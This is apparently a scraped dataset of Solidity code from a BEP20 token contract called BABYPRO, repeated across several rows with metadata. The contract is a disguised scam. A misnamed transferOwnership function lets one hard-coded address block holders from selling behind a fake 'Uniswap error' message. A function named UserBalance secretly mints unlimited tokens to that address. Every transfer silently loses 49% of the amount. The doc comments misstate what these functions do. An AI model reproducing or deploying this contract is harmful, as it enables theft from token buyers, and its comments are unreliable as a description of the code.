* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
| /**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
3287,
3733
]
} | 8,330 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
4138,
4428
]
} | 8,331 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
4927,
5317
]
} | 8,332 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | UserBalance | function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
| /**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
5532,
5808
]
} | 8,333 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
